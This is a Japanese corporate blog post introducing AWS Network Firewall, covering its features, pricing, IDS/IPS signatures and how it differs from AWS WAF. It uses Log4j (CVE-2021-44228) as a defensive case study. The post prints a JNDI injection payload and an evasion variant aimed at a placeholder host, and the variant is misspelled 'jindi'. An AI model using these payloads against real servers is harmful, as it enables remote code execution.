AWS Network Firewall とは
初めに
S&Jコアテクノロジーグループの大坪です。
新卒1月目にAWS Certified Solutions Architect – Professionalを取得して以来、AWSのスペシャリストとして、CloudFormationやAnsibleを利用したIaCの構築、Pythonを用いた運用自動化や詳細設計書をCloudFormationに変換するツールの開発、AWSのアーキテクチャの設計など担当していました。
S&Jには前職の知見を利用しつつセキュリティを含めた幅広い業務を求めて転職いたしました。
弊社入社後は
・OpenSearchの設計構築運用保守
・AWSのセキュリティ対応
・自社サービスの運用自動化
・Datadogによる監視実装
・AWSアーキテクチャ設計
・自社サービスのバックエンド開発
等を手広く担当しています。
今回は自社サービスの保護に利用しているAWS Network Firewallの概要についての記事となります。
Network Firewall関連の記事をいくつか予定していますが、本記事では簡単な概要から比較対象によく上がるAWS WAFとの細かい違いを実際の攻撃コードを確認しつつ比較していきます。
概要
AWS Network FirewallはAWSが提供するマネージド型のファイアウォールサービスで、VPC内およびVPCとインターネット間のトラフィックを監視や制御を行うことのできるサービスです。
(https://aws.amazon.com/jp/blogs/news/webinar-bb-awsnetworkfirewallintroduction-2021/より引用)
パケットをフィルタリングする機能としては多くの機能を網羅しており、IDS/IPSとしてSuricata互換のシグネチャを利用することもできますし、セキュリティグループやNACLではブロックのできないドメインベースでの通信制御もできる点で非常に強力なサービスと言えるでしょう。
L7でもAWS Network Firewallは動作するため、WAFと同様にHttpのトラフィックを検査することが可能です。(httpで実際に検査可能なデータ例:https://docs.suricata.io/en/suricata-6.0.0/rules/http-keywords.html)
一方で一般的なWAFはリバースプロキシとして動作するため、一般的なIDS/IPSと違い以下特徴があります。
1. httpsの暗号化されたトラフィックを検査することができる
2. セッションを強く意識している
上記理由よりIDS/IPSでWEBアプリケーションに対する攻撃をある程度防ぐことが可能ですが、役割の違いが発生しています。
AWS Network firewallでは設定を行えばTLSによって暗号化されたトラフィックも検査することが可能ですが、CSRFトークンやCAPTCHAといった対策はNetwork Firewallではできないため、Webアプリケーション用のFirewallとしてWAFの方に軍配が上がると思われます。
ですが、IDS/IPSではWebアプリケーション以外のトラフィックの検査も可能であるため、攻撃が仮に成功したとしても、そのあと疑わしい挙動が発生した場合に検出がある程度可能になっています。
そのため、Webアプリケーションに最大限のセキュリティ対策を施した構成にする場合はWAFとAWS Network Firewall を併用することになると思われます。
特徴
AWS Network Firewallは以下の機能を備えています。
機能
1. IPアドレスやポート番号での通信制御
2. ドメイン(SNI)ベースでの通信制御
3. IDS/IPSとしての機能
4. アラートログ, NetFlowログのCloudWatchロググループ, S3, Kinesis Data Firehoseへの出力
5. TLSによる暗号化されたトラフィックの検査(Network Firewall Advanced Inspection)
SLI
1. 99.99%を定義
料金(東京・大阪)
1. エンドポイント1つ当たりの料金 $0.395/h
2. トラフィック量による課金 $0.065/GB
3. Nat gateway併用時Nat Gatewayの料金免除
4. Advanced Inspection Endpoint(TLSの検査可能なエンドポイント) $0.711/h
5. Advanced Inspection Traffic Processing $0.009/GB
TLS検査など利用しない場合でも最低 $0.395/hとネットワーク系サービスとしては高額となっています。
Nat Gatewayと併用している場合はNat Gatewayは免除されますので、Nat Gatewayの料金である$0.062/hお得となります。
IDS/IPS が必要とされる背景
IDSはネットワークやホスト上の不審な挙動を検知する機能で、IPSは検知された通信をブロックする機能です。
IDS/IPSはFTPやDNSに対する攻撃などを検知することが可能で、内部ネットワークからの不審なドメインへのアクセスなども検知することができます。
IDS/IPSを導入することで、企業は不審な挙動をしているホストを特定することができ、仮にマルウェアに感染したホストがあったとしても、検知することが可能になります。
AWS環境ではではさまざまなサーバが立てられていますが、ActiveXやRPCといったサービスへの不正アクセスなども検出することができるため、非常に有用なサービスです。
AWS Network Firewall が必要とされる背景
AWS Network Firewallでは主にネットワークレベルの異常を検知し、OSやミドルウェアの異常な通信を検知することが可能です。たとえば、危険なホストへの通信の検知などがあげられます。
マネージド型のシグネチャとしては以下があげられます。
・Threat signature rule groups
・Domain and IP rule groups
登録可能なルール数としてはNACLは40個、セキュリティグループは1,000個が最大ですが、Network Firewallはデフォルトで30,000個可能です。それに加えNetwork Firewall ではドメインによるフィルタリングやSuricata互換のルールによるフィルタリングも柔軟に可能です。
IDS/IPSとしてはAWSマネージドサービスであるため、マネージド型のシグネチャが用意されており早いもので1~7日程度での自動で更新が行われ、遅いものでも数か月程度で更新されているようです。
(2024年3 月7日撮影 脅威署名ルールグループ)
Web アプリケーションでも必要となる Network Firewall
Webアプリケーションの防御は基本的にはWAFで行います。
WAFで十分なのかと聞かれるとそういうわけではなく、ゼロデイ攻撃などWAFのルールが間に合わない攻撃を受けた場合WAFで防御することはできず、担当者が気づかないうちに感染することも多いです。
実際Log4jの脆弱性(CVE-2021-44228)が公表された2021年12月10日の翌日にはゼロデイ攻撃が観測されています。
実際の攻撃コードとWAFのルールについて考えてみます。
以下が攻撃コードの例です。
${jndi:ldap://xxx.xxx.x.x:53/g}
WAFではこういった特殊な文字列を分析し、ブロックします。
たとえば、WAFのルールが「${jindi:ldapから始まる場合」となっていた場合は上述の攻撃コードをブロックすることが可能です。
しかし、Log4jでは検知ルールを回避する攻撃コードなど時間がたつにつれ様々な攻撃パターンが出てきました。
一例として「${jindi:dns://xxx.xxx.x.x}」という攻撃コードが出てきましたが、これは上述のWAFのルールではブロックされず攻撃が成功してしまいます。
このようにAWS WAFでは脆弱性が公開された翌日にシグネチャを出していますが、WAFだけでは完全に守り切れるか、といえばそのようなわけでもありません。
解決を待つには脆弱性が修正されたVersionへアップデートする必要がありますが、アップデートが配布されたのは12月18日であるため少なくとも1週間ものゼロデイ期間が発生した、と言えるでしょう。
つまり、最低でも1週間の間はWAFだけでは心もとない状況であったため感染を許す可能性があったかもしれない、と言えます。
IDS/IPSを導入していれば当該ホストが感染した場合もBot Netへの通信やC&Cサーバと思わしきサーバへの通信のブロックが可能なシグネチャを導入していれば、攻撃が成功した後もサーバがコントロールされることをある程度防ぐことが可能です。
まとめ
AWS Network Firewallはドメインベースのアクセス制御からIDS/IPSといった幅広い機能を持つセキュリティサービスです。
シグネチャの運用から保守もAWSマネージドとして実装されており、運用面でも比較的容易に運用することができるサービスとなっています。
IDS/IPSとして、サーバの不自然な挙動などを検査することができ、不測の事態も早期に発見することがある程度可能です。
次回の記事では構成図やデプロイ方法などを記載いたします。
ここまで見ていただきありがとうございました。
※Amazon Web Services、AWS、Powered by AWSのロゴ、および当該資料で使用されているその他のAWSマークは、Amazon.com, Inc.またはその関連会社の商標です。